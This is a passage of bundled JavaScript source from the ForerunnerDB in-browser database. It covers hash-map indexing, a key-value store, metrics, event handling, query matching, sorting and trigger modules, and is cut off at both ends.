IndexBinaryTree.prototype._itemHashArr = function (item, keys) {
var path = new Path(),
pathData,
//hash = '',
hashArr = [],
valArr,
i, k, j;
pathData = path.parse(keys);
for (k = 0; k < pathData.length; k++) {
valArr = path.value(item, pathData[k].path);
for (i = 0; i < valArr.length; i++) {
if (k === 0) {
// Setup the initial hash array
hashArr.push(valArr[i]);
} else {
// Loop the hash array and concat the value to it
for (j = 0; j < hashArr.length; j++) {
hashArr[j] = hashArr[j] + '_' + valArr[i];
}
}
}
}
return hashArr;
};
Shared.finishModule('IndexBinaryTree');
module.exports = IndexBinaryTree;
},{"./Path":23,"./Shared":25}],9:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared'),
Path = _dereq_('./Path');
/**
* The index class used to instantiate hash map indexes that the database can
* use to speed up queries on collections and views.
* @constructor
*/
var IndexHashMap = function () {
this.init.apply(this, arguments);
};
IndexHashMap.prototype.init = function (keys, options, collection) {
this._crossRef = {};
this._size = 0;
this._id = this._itemKeyHash(keys, keys);
this.data({});
this.unique(options && options.unique ? options.unique : false);
if (keys !== undefined) {
this.keys(keys);
}
if (collection !== undefined) {
this.collection(collection);
}
this.name(options && options.name ? options.name : this._id);
};
Shared.addModule('IndexHashMap', IndexHashMap);
Shared.mixin(IndexHashMap.prototype, 'Mixin.ChainReactor');
IndexHashMap.prototype.id = function () {
return this._id;
};
IndexHashMap.prototype.state = function () {
return this._state;
};
IndexHashMap.prototype.size = function () {
return this._size;
};
Shared.synthesize(IndexHashMap.prototype, 'data');
Shared.synthesize(IndexHashMap.prototype, 'name');
Shared.synthesize(IndexHashMap.prototype, 'collection');
Shared.synthesize(IndexHashMap.prototype, 'type');
Shared.synthesize(IndexHashMap.prototype, 'unique');
IndexHashMap.prototype.keys = function (val) {
if (val !== undefined) {
this._keys = val;
// Count the keys
this._keyCount = (new Path()).parse(this._keys).length;
return this;
}
return this._keys;
};
IndexHashMap.prototype.rebuild = function () {
// Do we have a collection?
if (this._collection) {
// Get sorted data
var collection = this._collection.subset({}, {
$decouple: false,
$orderBy: this._keys
}),
collectionData = collection.find(),
dataIndex,
dataCount = collectionData.length;
// Clear the index data for the index
this._data = {};
if (this._unique) {
this._uniqueLookup = {};
}
// Loop the collection data
for (dataIndex = 0; dataIndex < dataCount; dataIndex++) {
this.insert(collectionData[dataIndex]);
}
}
this._state = {
name: this._name,
keys: this._keys,
indexSize: this._size,
built: new Date(),
updated: new Date(),
ok: true
};
};
IndexHashMap.prototype.insert = function (dataItem, options) {
var uniqueFlag = this._unique,
uniqueHash,
itemHashArr,
hashIndex;
if (uniqueFlag) {
uniqueHash = this._itemHash(dataItem, this._keys);
this._uniqueLookup[uniqueHash] = dataItem;
}
// Generate item hash
itemHashArr = this._itemHashArr(dataItem, this._keys);
// Get the path search results and store them
for (hashIndex = 0; hashIndex < itemHashArr.length; hashIndex++) {
this.pushToPathValue(itemHashArr[hashIndex], dataItem);
}
};
IndexHashMap.prototype.update = function (dataItem, options) {
// TODO: Write updates to work
// 1: Get uniqueHash for the dataItem primary key value (may need to generate a store for this)
// 2: Remove the uniqueHash as it currently stands
// 3: Generate a new uniqueHash for dataItem
// 4: Insert the new uniqueHash
};
IndexHashMap.prototype.remove = function (dataItem, options) {
var uniqueFlag = this._unique,
uniqueHash,
itemHashArr,
hashIndex;
if (uniqueFlag) {
uniqueHash = this._itemHash(dataItem, this._keys);
delete this._uniqueLookup[uniqueHash];
}
// Generate item hash
itemHashArr = this._itemHashArr(dataItem, this._keys);
// Get the path search results and store them
for (hashIndex = 0; hashIndex < itemHashArr.length; hashIndex++) {
this.pullFromPathValue(itemHashArr[hashIndex], dataItem);
}
};
IndexHashMap.prototype.violation = function (dataItem) {
// Generate item hash
var uniqueHash = this._itemHash(dataItem, this._keys);
// Check if the item breaks the unique constraint
return Boolean(this._uniqueLookup[uniqueHash]);
};
IndexHashMap.prototype.hashViolation = function (uniqueHash) {
// Check if the item breaks the unique constraint
return Boolean(this._uniqueLookup[uniqueHash]);
};
IndexHashMap.prototype.pushToPathValue = function (hash, obj) {
var pathValArr = this._data[hash] = this._data[hash] || [];
// Make sure we have not already indexed this object at this path/value
if (pathValArr.indexOf(obj) === -1) {
// Index the object
pathValArr.push(obj);
// Record the reference to this object in our index size
this._size++;
// Cross-reference this association for later lookup
this.pushToCrossRef(obj, pathValArr);
}
};
IndexHashMap.prototype.pullFromPathValue = function (hash, obj) {
var pathValArr = this._data[hash],
indexOfObject;
// Make sure we have already indexed this object at this path/value
indexOfObject = pathValArr.indexOf(obj);
if (indexOfObject > -1) {
// Un-index the object
pathValArr.splice(indexOfObject, 1);
// Record the reference to this object in our index size
this._size--;
// Remove object cross-reference
this.pullFromCrossRef(obj, pathValArr);
}
// Check if we should remove the path value array
if (!pathValArr.length) {
// Remove the array
delete this._data[hash];
}
};
IndexHashMap.prototype.pull = function (obj) {
// Get all places the object has been used and remove them
var id = obj[this._collection.primaryKey()],
crossRefArr = this._crossRef[id],
arrIndex,
arrCount = crossRefArr.length,
arrItem;
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
arrItem = crossRefArr[arrIndex];
// Remove item from this index lookup array
this._pullFromArray(arrItem, obj);
}
// Record the reference to this object in our index size
this._size--;
// Now remove the cross-reference entry for this object
delete this._crossRef[id];
};
IndexHashMap.prototype._pullFromArray = function (arr, obj) {
var arrCount = arr.length;
while (arrCount--) {
if (arr[arrCount] === obj) {
arr.splice(arrCount, 1);
}
}
};
IndexHashMap.prototype.pushToCrossRef = function (obj, pathValArr) {
var id = obj[this._collection.primaryKey()],
crObj;
this._crossRef[id] = this._crossRef[id] || [];
// Check if the cross-reference to the pathVal array already exists
crObj = this._crossRef[id];
if (crObj.indexOf(pathValArr) === -1) {
// Add the cross-reference
crObj.push(pathValArr);
}
};
IndexHashMap.prototype.pullFromCrossRef = function (obj, pathValArr) {
var id = obj[this._collection.primaryKey()];
delete this._crossRef[id];
};
IndexHashMap.prototype.lookup = function (query) {
return this._data[this._itemHash(query, this._keys)] || [];
};
IndexHashMap.prototype.match = function (query, options) {
// Check if the passed query has data in the keys our index
// operates on and if so, is the query sort matching our order
var pathSolver = new Path();
var indexKeyArr = pathSolver.parseArr(this._keys),
queryArr = pathSolver.parseArr(query),
matchedKeys = [],
matchedKeyCount = 0,
i;
// Loop the query array and check the order of keys against the
// index key array to see if this index can be used
for (i = 0; i < indexKeyArr.length; i++) {
if (queryArr[i] === indexKeyArr[i]) {
matchedKeyCount++;
matchedKeys.push(queryArr[i]);
} else {
// Query match failed - this is a hash map index so partial key match won't work
return {
matchedKeys: [],
totalKeyCount: queryArr.length,
score: 0
};
}
}
return {
matchedKeys: matchedKeys,
totalKeyCount: queryArr.length,
score: matchedKeyCount
};
//return pathSolver.countObjectPaths(this._keys, query);
};
IndexHashMap.prototype._itemHash = function (item, keys) {
var path = new Path(),
pathData,
hash = '',
k;
pathData = path.parse(keys);
for (k = 0; k < pathData.length; k++) {
if (hash) { hash += '_'; }
hash += path.value(item, pathData[k].path).join(':');
}
return hash;
};
IndexHashMap.prototype._itemKeyHash = function (item, keys) {
var path = new Path(),
pathData,
hash = '',
k;
pathData = path.parse(keys);
for (k = 0; k < pathData.length; k++) {
if (hash) { hash += '_'; }
hash += path.keyValue(item, pathData[k].path);
}
return hash;
};
IndexHashMap.prototype._itemHashArr = function (item, keys) {
var path = new Path(),
pathData,
//hash = '',
hashArr = [],
valArr,
i, k, j;
pathData = path.parse(keys);
for (k = 0; k < pathData.length; k++) {
valArr = path.value(item, pathData[k].path);
for (i = 0; i < valArr.length; i++) {
if (k === 0) {
// Setup the initial hash array
hashArr.push(valArr[i]);
} else {
// Loop the hash array and concat the value to it
for (j = 0; j < hashArr.length; j++) {
hashArr[j] = hashArr[j] + '_' + valArr[i];
}
}
}
}
return hashArr;
};
Shared.finishModule('IndexHashMap');
module.exports = IndexHashMap;
},{"./Path":23,"./Shared":25}],10:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared');
/**
* The key value store class used when storing basic in-memory KV data,
* and can be queried for quick retrieval. Mostly used for collection
* primary key indexes and lookups.
* @param {String=} name Optional KV store name.
* @constructor
*/
var KeyValueStore = function (name) {
this.init.apply(this, arguments);
};
KeyValueStore.prototype.init = function (name) {
this._name = name;
this._data = {};
this._primaryKey = '_id';
};
Shared.addModule('KeyValueStore', KeyValueStore);
Shared.mixin(KeyValueStore.prototype, 'Mixin.ChainReactor');
/**
* Get / set the name of the key/value store.
* @param {String} val The name to set.
* @returns {*}
*/
Shared.synthesize(KeyValueStore.prototype, 'name');
/**
* Get / set the primary key.
* @param {String} key The key to set.
* @returns {*}
*/
KeyValueStore.prototype.primaryKey = function (key) {
if (key !== undefined) {
this._primaryKey = key;
return this;
}
return this._primaryKey;
};
/**
* Removes all data from the store.
* @returns {*}
*/
KeyValueStore.prototype.truncate = function () {
this._data = {};
return this;
};
/**
* Sets data against a key in the store.
* @param {String} key The key to set data for.
* @param {*} value The value to assign to the key.
* @returns {*}
*/
KeyValueStore.prototype.set = function (key, value) {
this._data[key] = value ? value : true;
return this;
};
/**
* Gets data stored for the passed key.
* @param {String} key The key to get data for.
* @returns {*}
*/
KeyValueStore.prototype.get = function (key) {
return this._data[key];
};
/**
* Get / set the primary key.
* @param {*} obj A lookup query, can be a string key, an array of string keys,
* an object with further query clauses or a regular expression that should be
* run against all keys.
* @returns {*}
*/
KeyValueStore.prototype.lookup = function (obj) {
var pKeyVal = obj[this._primaryKey],
arrIndex,
arrCount,
lookupItem,
result;
if (pKeyVal instanceof Array) {
// An array of primary keys, find all matches
arrCount = pKeyVal.length;
result = [];
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
lookupItem = this._data[pKeyVal[arrIndex]];
if (lookupItem) {
result.push(lookupItem);
}
}
return result;
} else if (pKeyVal instanceof RegExp) {
// Create new data
result = [];
for (arrIndex in this._data) {
if (this._data.hasOwnProperty(arrIndex)) {
if (pKeyVal.test(arrIndex)) {
result.push(this._data[arrIndex]);
}
}
}
return result;
} else if (typeof pKeyVal === 'object') {
// The primary key clause is an object, now we have to do some
// more extensive searching
if (pKeyVal.$ne) {
// Create new data
result = [];
for (arrIndex in this._data) {
if (this._data.hasOwnProperty(arrIndex)) {
if (arrIndex !== pKeyVal.$ne) {
result.push(this._data[arrIndex]);
}
}
}
return result;
}
if (pKeyVal.$in && (pKeyVal.$in instanceof Array)) {
// Create new data
result = [];
for (arrIndex in this._data) {
if (this._data.hasOwnProperty(arrIndex)) {
if (pKeyVal.$in.indexOf(arrIndex) > -1) {
result.push(this._data[arrIndex]);
}
}
}
return result;
}
if (pKeyVal.$nin && (pKeyVal.$nin instanceof Array)) {
// Create new data
result = [];
for (arrIndex in this._data) {
if (this._data.hasOwnProperty(arrIndex)) {
if (pKeyVal.$nin.indexOf(arrIndex) === -1) {
result.push(this._data[arrIndex]);
}
}
}
return result;
}
if (pKeyVal.$or && (pKeyVal.$or instanceof Array)) {
// Create new data
result = [];
for (arrIndex = 0; arrIndex < pKeyVal.$or.length; arrIndex++) {
result = result.concat(this.lookup(pKeyVal.$or[arrIndex]));
}
return result;
}
} else {
// Key is a basic lookup from string
lookupItem = this._data[pKeyVal];
if (lookupItem !== undefined) {
return [lookupItem];
} else {
return [];
}
}
};
/**
* Removes data for the given key from the store.
* @param {String} key The key to un-set.
* @returns {*}
*/
KeyValueStore.prototype.unSet = function (key) {
delete this._data[key];
return this;
};
/**
* Sets data for the give key in the store only where the given key
* does not already have a value in the store.
* @param {String} key The key to set data for.
* @param {*} value The value to assign to the key.
* @returns {Boolean} True if data was set or false if data already
* exists for the key.
*/
KeyValueStore.prototype.uniqueSet = function (key, value) {
if (this._data[key] === undefined) {
this._data[key] = value;
return true;
}
return false;
};
Shared.finishModule('KeyValueStore');
module.exports = KeyValueStore;
},{"./Shared":25}],11:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared'),
Operation = _dereq_('./Operation');
/**
* The metrics class used to store details about operations.
* @constructor
*/
var Metrics = function () {
this.init.apply(this, arguments);
};
Metrics.prototype.init = function () {
this._data = [];
};
Shared.addModule('Metrics', Metrics);
Shared.mixin(Metrics.prototype, 'Mixin.ChainReactor');
/**
* Creates an operation within the metrics instance and if metrics
* are currently enabled (by calling the start() method) the operation
* is also stored in the metrics log.
* @param {String} name The name of the operation.
* @returns {Operation}
*/
Metrics.prototype.create = function (name) {
var op = new Operation(name);
if (this._enabled) {
this._data.push(op);
}
return op;
};
/**
* Starts logging operations.
* @returns {Metrics}
*/
Metrics.prototype.start = function () {
this._enabled = true;
return this;
};
/**
* Stops logging operations.
* @returns {Metrics}
*/
Metrics.prototype.stop = function () {
this._enabled = false;
return this;
};
/**
* Clears all logged operations.
* @returns {Metrics}
*/
Metrics.prototype.clear = function () {
this._data = [];
return this;
};
/**
* Returns an array of all logged operations.
* @returns {Array}
*/
Metrics.prototype.list = function () {
return this._data;
};
Shared.finishModule('Metrics');
module.exports = Metrics;
},{"./Operation":21,"./Shared":25}],12:[function(_dereq_,module,exports){
"use strict";
var CRUD = {
preSetData: function () {
},
postSetData: function () {
}
};
module.exports = CRUD;
},{}],13:[function(_dereq_,module,exports){
"use strict";
/**
* The chain reactor mixin, provides a class with chain reaction capabilities.
* @mixin
*/
var ChainReactor = {
/**
*
* @param obj
*/
chain: function (obj) {
this._chain = this._chain || [];
var index = this._chain.indexOf(obj);
if (index === -1) {
this._chain.push(obj);
}
},
unChain: function (obj) {
if (this._chain) {
var index = this._chain.indexOf(obj);
if (index > -1) {
this._chain.splice(index, 1);
}
}
},
chainSend: function (type, data, options) {
if (this._chain) {
var arr = this._chain,
arrItem,
count = arr.length,
index;
for (index = 0; index < count; index++) {
arrItem = arr[index];
if (!arrItem._state || (arrItem._state && arrItem._state !== 'dropped')) {
arrItem.chainReceive(this, type, data, options);
} else {
console.log('Reactor Data:', type, data, options);
console.log('Reactor Node:', arrItem);
throw('Chain reactor attempting to send data to target reactor node that is in a dropped state!');
}
}
}
},
chainReceive: function (sender, type, data, options) {
var chainPacket = {
sender: sender,
type: type,
data: data,
options: options
};
// Fire our internal handler
if (!this._chainHandler || (this._chainHandler && !this._chainHandler(chainPacket))) {
// Propagate the message down the chain
this.chainSend(chainPacket.type, chainPacket.data, chainPacket.options);
}
}
};
module.exports = ChainReactor;
},{}],14:[function(_dereq_,module,exports){
"use strict";
var idCounter = 0,
Overload = _dereq_('./Overload'),
Common;
Common = {
/**
* Gets / sets data in the item store. The store can be used to set and
* retrieve data against a key. Useful for adding arbitrary key/value data
* to a collection / view etc and retrieving it later.
* @param {String|*} key The key under which to store the passed value or
* retrieve the existing stored value.
* @param {*=} val Optional value. If passed will overwrite the existing value
* stored against the specified key if one currently exists.
* @returns {*}
*/
store: function (key, val) {
if (key !== undefined) {
if (val !== undefined) {
// Store the data
this._store = this._store || {};
this._store[key] = val;
return this;
}
if (this._store) {
return this._store[key];
}
}
return undefined;
},
/**
* Removes a previously stored key/value pair from the item store, set previously
* by using the store() method.
* @param {String|*} key The key of the key/value pair to remove;
* @returns {Common} Returns this for chaining.
*/
unStore: function (key) {
if (key !== undefined) {
delete this._store[key];
}
return this;
},
/**
* Returns a non-referenced version of the passed object / array.
* @param {Object} data The object or array to return as a non-referenced version.
* @param {Number=} copies Optional number of copies to produce. If specified, the return
* value will be an array of decoupled objects, each distinct from the other.
* @returns {*}
*/
decouple: function (data, copies) {
if (data !== undefined) {
if (!copies) {
return JSON.parse(JSON.stringify(data));
} else {
var i,
json = JSON.stringify(data),
copyArr = [];
for (i = 0; i < copies; i++) {
copyArr.push(JSON.parse(json));
}
return copyArr;
}
}
return undefined;
},
/**
* Generates a new 16-character hexadecimal unique ID or
* generates a new 16-character hexadecimal ID based on
* the passed string. Will always generate the same ID
* for the same string.
* @param {String=} str A string to generate the ID from.
* @return {String}
*/
objectId: function (str) {
var id,
pow = Math.pow(10, 17);
if (!str) {
idCounter++;
id = (idCounter + (
Math.random() * pow +
Math.random() * pow +
Math.random() * pow +
Math.random() * pow
)).toString(16);
} else {
var val = 0,
count = str.length,
i;
for (i = 0; i < count; i++) {
val += str.charCodeAt(i) * pow;
}
id = val.toString(16);
}
return id;
},
/**
* Gets / sets debug flag that can enable debug message output to the
* console if required.
* @param {Boolean} val The value to set debug flag to.
* @return {Boolean} True if enabled, false otherwise.
*/
/**
* Sets debug flag for a particular type that can enable debug message
* output to the console if required.
* @param {String} type The name of the debug type to set flag for.
* @param {Boolean} val The value to set debug flag to.
* @return {Boolean} True if enabled, false otherwise.
*/
debug: new Overload([
function () {
return this._debug && this._debug.all;
},
function (val) {
if (val !== undefined) {
if (typeof val === 'boolean') {
this._debug = this._debug || {};
this._debug.all = val;
this.chainSend('debug', this._debug);
return this;
} else {
return (this._debug && this._debug[val]) || (this._db && this._db._debug && this._db._debug[val]) || (this._debug && this._debug.all);
}
}
return this._debug && this._debug.all;
},
function (type, val) {
if (type !== undefined) {
if (val !== undefined) {
this._debug = this._debug || {};
this._debug[type] = val;
this.chainSend('debug', this._debug);
return this;
}
return (this._debug && this._debug[val]) || (this._db && this._db._debug && this._db._debug[type]);
}
return this._debug && this._debug.all;
}
])
};
module.exports = Common;
},{"./Overload":22}],15:[function(_dereq_,module,exports){
"use strict";
var Constants = {
TYPE_INSERT: 0,
TYPE_UPDATE: 1,
TYPE_REMOVE: 2,
PHASE_BEFORE: 0,
PHASE_AFTER: 1
};
module.exports = Constants;
},{}],16:[function(_dereq_,module,exports){
"use strict";
var Overload = _dereq_('./Overload');
var Events = {
on: new Overload({
/**
* Attach an event listener to the passed event.
* @param {String} event The name of the event to listen for.
* @param {Function} listener The method to call when the event is fired.
*/
'string, function': function (event, listener) {
this._listeners = this._listeners || {};
this._listeners[event] = this._listeners[event] || {};
this._listeners[event]['*'] = this._listeners[event]['*'] || [];
this._listeners[event]['*'].push(listener);
return this;
},
/**
* Attach an event listener to the passed event only if the passed
* id matches the document id for the event being fired.
* @param {String} event The name of the event to listen for.
* @param {*} id The document id to match against.
* @param {Function} listener The method to call when the event is fired.
*/
'string, *, function': function (event, id, listener) {
this._listeners = this._listeners || {};
this._listeners[event] = this._listeners[event] || {};
this._listeners[event][id] = this._listeners[event][id] || [];
this._listeners[event][id].push(listener);
return this;
}
}),
off: new Overload({
'string': function (event) {
if (this._listeners && this._listeners[event] && event in this._listeners) {
delete this._listeners[event];
}
return this;
},
'string, function': function (event, listener) {
var arr,
index;
if (typeof(listener) === 'string') {
if (this._listeners && this._listeners[event] && this._listeners[event][listener]) {
delete this._listeners[event][listener];
}
} else {
if (this._listeners && event in this._listeners) {
arr = this._listeners[event]['*'];
index = arr.indexOf(listener);
if (index > -1) {
arr.splice(index, 1);
}
}
}
return this;
},
'string, *, function': function (event, id, listener) {
if (this._listeners && event in this._listeners && id in this.listeners[event]) {
var arr = this._listeners[event][id],
index = arr.indexOf(listener);
if (index > -1) {
arr.splice(index, 1);
}
}
},
'string, *': function (event, id) {
if (this._listeners && event in this._listeners && id in this._listeners[event]) {
// Kill all listeners for this event id
delete this._listeners[event][id];
}
}
}),
emit: function (event, data) {
this._listeners = this._listeners || {};
if (event in this._listeners) {
var arrIndex,
arrCount;
// Handle global emit
if (this._listeners[event]['*']) {
var arr = this._listeners[event]['*'];
arrCount = arr.length;
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
arr[arrIndex].apply(this, Array.prototype.slice.call(arguments, 1));
}
}
// Handle individual emit
if (data instanceof Array) {
// Check if the array is an array of objects in the collection
if (data[0] && data[0][this._primaryKey]) {
// Loop the array and check for listeners against the primary key
var listenerIdArr = this._listeners[event],
listenerIdCount,
listenerIdIndex;
arrCount = data.length;
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
if (listenerIdArr[data[arrIndex][this._primaryKey]]) {
// Emit for this id
listenerIdCount = listenerIdArr[data[arrIndex][this._primaryKey]].length;
for (listenerIdIndex = 0; listenerIdIndex < listenerIdCount; listenerIdIndex++) {
listenerIdArr[data[arrIndex][this._primaryKey]][listenerIdIndex].apply(this, Array.prototype.slice.call(arguments, 1));
}
}
}
}
}
}
return this;
}
};
module.exports = Events;
},{"./Overload":22}],17:[function(_dereq_,module,exports){
"use strict";
var Matching = {
/**
* Internal method that checks a document against a test object.
* @param {*} source The source object or value to test against.
* @param {*} test The test object or value to test with.
* @param {String=} opToApply The special operation to apply to the test such
* as 'and' or an 'or' operator.
* @param {Object=} options An object containing options to apply to the
* operation such as limiting the fields returned etc.
* @returns {Boolean} True if the test was positive, false on negative.
* @private
*/
_match: function (source, test, opToApply, options) {
// TODO: This method is quite long, break into smaller pieces
var operation,
applyOp,
recurseVal,
tmpIndex,
sourceType = typeof source,
testType = typeof test,
matchedAll = true,
opResult,
substringCache,
i;
options = options || {};
// Check if options currently holds a root query object
if (!options.$rootQuery) {
// Root query not assigned, hold the root query
options.$rootQuery = test;
}
options.$rootData = options.$rootData || {};
// Check if the comparison data are both strings or numbers
if ((sourceType === 'string' || sourceType === 'number') && (testType === 'string' || testType === 'number')) {
// The source and test data are flat types that do not require recursive searches,
// so just compare them and return the result
if (sourceType === 'number') {
// Number comparison
if (source !== test) {
matchedAll = false;
}
} else {
// String comparison
if (source.localeCompare(test)) {
matchedAll = false;
}
}
} else {
for (i in test) {
if (test.hasOwnProperty(i)) {
// Reset operation flag
operation = false;
substringCache = i.substr(0, 2);
// Check if the property is a comment (ignorable)
if (substringCache === '//') {
// Skip this property
continue;
}
// Check if the property starts with a dollar (function)
if (substringCache.indexOf('$') === 0) {
// Ask the _matchOp method to handle the operation
opResult = this._matchOp(i, source, test[i], options);
// Check the result of the matchOp operation
// If the result is -1 then no operation took place, otherwise the result
// will be a boolean denoting a match (true) or no match (false)
if (opResult > -1) {
if (opResult) {
if (opToApply === 'or') {
return true;
}
} else {
// Set the matchedAll flag to the result of the operation
// because the operation did not return true
matchedAll = opResult;
}
// Record that an operation was handled
operation = true;
}
}
// Check for regex
if (!operation && test[i] instanceof RegExp) {
operation = true;
if (typeof(source) === 'object' && source[i] !== undefined && test[i].test(source[i])) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
}
if (!operation) {
// Check if our query is an object
if (typeof(test[i]) === 'object') {
// Because test[i] is an object, source must also be an object
// Check if our source data we are checking the test query against
// is an object or an array
if (source[i] !== undefined) {
if (source[i] instanceof Array && !(test[i] instanceof Array)) {
// The source data is an array, so check each item until a
// match is found
recurseVal = false;
for (tmpIndex = 0; tmpIndex < source[i].length; tmpIndex++) {
recurseVal = this._match(source[i][tmpIndex], test[i], applyOp, options);
if (recurseVal) {
// One of the array items matched the query so we can
// include this item in the results, so break now
break;
}
}
if (recurseVal) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
} else if (!(source[i] instanceof Array) && test[i] instanceof Array) {
// The test key data is an array and the source key data is not so check
// each item in the test key data to see if the source item matches one
// of them. This is effectively an $in search.
recurseVal = false;
for (tmpIndex = 0; tmpIndex < test[i].length; tmpIndex++) {
recurseVal = this._match(source[i], test[i][tmpIndex], applyOp, options);
if (recurseVal) {
// One of the array items matched the query so we can
// include this item in the results, so break now
break;
}
}
if (recurseVal) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
} else if (typeof(source) === 'object') {
// Recurse down the object tree
recurseVal = this._match(source[i], test[i], applyOp, options);
if (recurseVal) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
} else {
recurseVal = this._match(undefined, test[i], applyOp, options);
if (recurseVal) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
}
} else {
// First check if the test match is an $exists
if (test[i] && test[i].$exists !== undefined) {
// Push the item through another match recurse
recurseVal = this._match(undefined, test[i], applyOp, options);
if (recurseVal) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
} else {
matchedAll = false;
}
}
} else {
// Check if the prop matches our test value
if (source && source[i] === test[i]) {
if (opToApply === 'or') {
return true;
}
} else if (source && source[i] && source[i] instanceof Array && test[i] && typeof(test[i]) !== "object") {
// We are looking for a value inside an array
// The source data is an array, so check each item until a
// match is found
recurseVal = false;
for (tmpIndex = 0; tmpIndex < source[i].length; tmpIndex++) {
recurseVal = this._match(source[i][tmpIndex], test[i], applyOp, options);
if (recurseVal) {
// One of the array items matched the query so we can
// include this item in the results, so break now
break;
}
}
if (recurseVal) {
if (opToApply === 'or') {
return true;
}
} else {
matchedAll = false;
}
} else {
matchedAll = false;
}
}
}
if (opToApply === 'and' && !matchedAll) {
return false;
}
}
}
}
return matchedAll;
},
/**
* Internal method, performs a matching process against a query operator such as $gt or $nin.
* @param {String} key The property name in the test that matches the operator to perform
* matching against.
* @param {*} source The source data to match the query against.
* @param {*} test The query to match the source against.
* @param {Object=} options An options object.
* @returns {*}
* @private
*/
_matchOp: function (key, source, test, options) {
// Check for commands
switch (key) {
case '$gt':
// Greater than
return source > test;
case '$gte':
// Greater than or equal
return source >= test;
case '$lt':
// Less than
return source < test;
case '$lte':
// Less than or equal
return source <= test;
case '$exists':
// Property exists
return (source === undefined) !== test;
case '$ne': // Not equals
return source != test; // jshint ignore:line
case '$or':
// Match true on ANY check to pass
for (var orIndex = 0; orIndex < test.length; orIndex++) {
if (this._match(source, test[orIndex], 'and', options)) {
return true;
}
}
return false;
case '$and':
// Match true on ALL checks to pass
for (var andIndex = 0; andIndex < test.length; andIndex++) {
if (!this._match(source, test[andIndex], 'and', options)) {
return false;
}
}
return true;
case '$in': // In
// Check that the in test is an array
if (test instanceof Array) {
var inArr = test,
inArrCount = inArr.length,
inArrIndex;
for (inArrIndex = 0; inArrIndex < inArrCount; inArrIndex++) {
if (inArr[inArrIndex] === source) {
return true;
}
}
return false;
} else {
throw('ForerunnerDB.Mixin.Matching "' + this.name() + '": Cannot use an $in operator on a non-array key: ' + key);
}
break;
case '$nin': // Not in
// Check that the not-in test is an array
if (test instanceof Array) {
var notInArr = test,
notInArrCount = notInArr.length,
notInArrIndex;
for (notInArrIndex = 0; notInArrIndex < notInArrCount; notInArrIndex++) {
if (notInArr[notInArrIndex] === source) {
return false;
}
}
return true;
} else {
throw('ForerunnerDB.Mixin.Matching "' + this.name() + '": Cannot use a $nin operator on a non-array key: ' + key);
}
break;
case '$distinct':
// Ensure options holds a distinct lookup
options.$rootData['//distinctLookup'] = options.$rootData['//distinctLookup'] || {};
for (var distinctProp in test) {
if (test.hasOwnProperty(distinctProp)) {
options.$rootData['//distinctLookup'][distinctProp] = options.$rootData['//distinctLookup'][distinctProp] || {};
// Check if the options distinct lookup has this field's value
if (options.$rootData['//distinctLookup'][distinctProp][source[distinctProp]]) {
// Value is already in use
return false;
} else {
// Set the value in the lookup
options.$rootData['//distinctLookup'][distinctProp][source[distinctProp]] = true;
// Allow the item in the results
return true;
}
}
}
break;
}
return -1;
}
};
module.exports = Matching;
},{}],18:[function(_dereq_,module,exports){
"use strict";
var Sorting = {
/**
* Sorts the passed value a against the passed value b ascending.
* @param {*} a The first value to compare.
* @param {*} b The second value to compare.
* @returns {*} 1 if a is sorted after b, -1 if a is sorted before b.
*/
sortAsc: function (a, b) {
if (typeof(a) === 'string' && typeof(b) === 'string') {
return a.localeCompare(b);
} else {
if (a > b) {
return 1;
} else if (a < b) {
return -1;
}
}
return 0;
},
/**
* Sorts the passed value a against the passed value b descending.
* @param {*} a The first value to compare.
* @param {*} b The second value to compare.
* @returns {*} 1 if a is sorted after b, -1 if a is sorted before b.
*/
sortDesc: function (a, b) {
if (typeof(a) === 'string' && typeof(b) === 'string') {
return b.localeCompare(a);
} else {
if (a > b) {
return -1;
} else if (a < b) {
return 1;
}
}
return 0;
}
};
module.exports = Sorting;
},{}],19:[function(_dereq_,module,exports){
"use strict";
var Overload = _dereq_('./Overload');
var Triggers = {
/**
* Add a trigger by id.
* @param {String} id The id of the trigger. This must be unique to the type and
* phase of the trigger. Only one trigger may be added with this id per type and
* phase.
* @param {Number} type The type of operation to apply the trigger to. See
* Mixin.Constants for constants to use.
* @param {Number} phase The phase of an operation to fire the trigger on. See
* Mixin.Constants for constants to use.
* @param {Function} method The method to call when the trigger is fired.
* @returns {boolean} True if the trigger was added successfully, false if not.
*/
addTrigger: function (id, type, phase, method) {
var self = this,
triggerIndex;
// Check if the trigger already exists
triggerIndex = self._triggerIndexOf(id, type, phase);
if (triggerIndex === -1) {
// The trigger does not exist, create it
self._trigger = self._trigger || {};
self._trigger[type] = self._trigger[type] || {};
self._trigger[type][phase] = self._trigger[type][phase] || [];
self._trigger[type][phase].push({
id: id,
method: method,
enabled: true
});
return true;
}
return false;
},
/**
*
* @param {String} id The id of the trigger to remove.
* @param {Number} type The type of operation to remove the trigger from. See
* Mixin.Constants for constants to use.
* @param {Number} phase The phase of the operation to remove the trigger from.
* See Mixin.Constants for constants to use.
* @returns {boolean} True if removed successfully, false if not.
*/
removeTrigger: function (id, type, phase) {
var self = this,
triggerIndex;
// Check if the trigger already exists
triggerIndex = self._triggerIndexOf(id, type, phase);
if (triggerIndex > -1) {
// The trigger exists, remove it
self._trigger[type][phase].splice(triggerIndex, 1);
}
return false;
},
enableTrigger: new Overload({
'string': function (id) {
// Alter all triggers of this type
var self = this,
types = self._trigger,
phases,
triggers,
result = false,
i, k, j;
if (types) {
for (j in types) {
if (types.hasOwnProperty(j)) {
phases = types[j];
if (phases) {
for (i in phases) {
if (phases.hasOwnProperty(i)) {
triggers = phases[i];
// Loop triggers and set enabled flag
for (k = 0; k < triggers.length; k++) {
if (triggers[k].id === id) {
triggers[k].enabled = true;
result = true;
}
}
}
}
}
}
}
}
return result;
},
'number': function (type) {
// Alter all triggers of this type
var self = this,
phases = self._trigger[type],
triggers,
result = false,
i, k;
